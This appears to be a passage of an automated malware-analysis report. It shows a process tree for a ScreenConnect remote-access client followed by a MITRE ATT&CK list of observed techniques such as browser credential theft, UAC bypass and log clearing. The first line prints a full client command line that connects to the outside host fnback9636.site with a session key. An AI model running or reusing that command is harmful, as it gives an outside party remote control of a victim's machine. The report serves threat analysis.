"C:\Program Files (x86)\ScreenConnect Client (c13606fe9009f11d)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=fnback9636.site&p=8041&s=e3bb5d08-ea88-4093-91d0-e334b6605827&k=BgIAAACkAABSU0ExAAgAAAEAAQA9jYIrttwwC%2fVG8pSgng7hOaOxKOcglvdFFtkWeOWtX8fqsZgIKfVrWuN3su1CgiFbvlCYAExDue6opAYsm4ZcU%2fXlAy9prKBw8dHgYIr5MKTVcZ179o9h8%2f%2bnJY4jOeDKVmcK57L%2fEAFTuKdJ4YjAwIneAffDLjer1Vf%2banxJ%2b%2fQG9GXKFTsCbQPC0DPoXGR4nhNlJsUIT37D9pxvtL82%2fbs5OFG6ebhQ2MBDFYY21oOxjFRMMIWi2Owda95WULvij7v9vchg4Zacetd90xJGtyFFMUL53dS%2fRJ%2bjUcnwVvLNyKx3HwIoiBSP6LM2Nm5EN5LWd0R%2b3hStk2Qltk%2bh&c=v1&c=&c=&c=&c=&c=&c=&c="
1⤵
- Sets service image path in registry
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
PID:6200
- C:\Program Files (x86)\ScreenConnect Client (c13606fe9009f11d)\ScreenConnect.WindowsClient.exe
  "C:\Program Files (x86)\ScreenConnect Client (c13606fe9009f11d)\ScreenConnect.WindowsClient.exe" "RunRole" "e03eebf0-91a7-40ee-9b91-cfd3bab58f36" "User"
  2⤵
  PID:5312
- C:\Program Files (x86)\ScreenConnect Client (c13606fe9009f11d)\ScreenConnect.WindowsClient.exe
  "C:\Program Files (x86)\ScreenConnect Client (c13606fe9009f11d)\ScreenConnect.WindowsClient.exe" "RunRole" "c4258c31-62b3-442d-80ad-b81301642f2c" "User"
  2⤵
  PID:5192

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
1⤵
PID:6484

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

System Services

T1569

Service Execution

T1569.002

Persistence

Boot or Logon Autostart Execution

T1547

Authentication Package

T1547.002

Registry Run Keys / Startup Folder

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Component Object Model Hijacking

T1546.015

Modify Authentication Process

Power Settings

T1653

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Authentication Package

T1547.002

Registry Run Keys / Startup Folder

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Component Object Model Hijacking

T1546.015

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

Clear Windows Event Logs

T1070.001

Network Share Connection Removal

T1070.005

Modify Authentication Process

Modify Registry

Virtualization/Sandbox Evasion

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Modify Authentication Process

Steal Web Session Cookie

T1539

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Network Service Discovery

T1046

Network Share Discovery

T1135

Peripheral Device Discovery

T1120

Process Discovery

T1057

Query Registry

Remote System Discovery

T1018

System Information Discovery

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Virtualization/Sandbox Evasion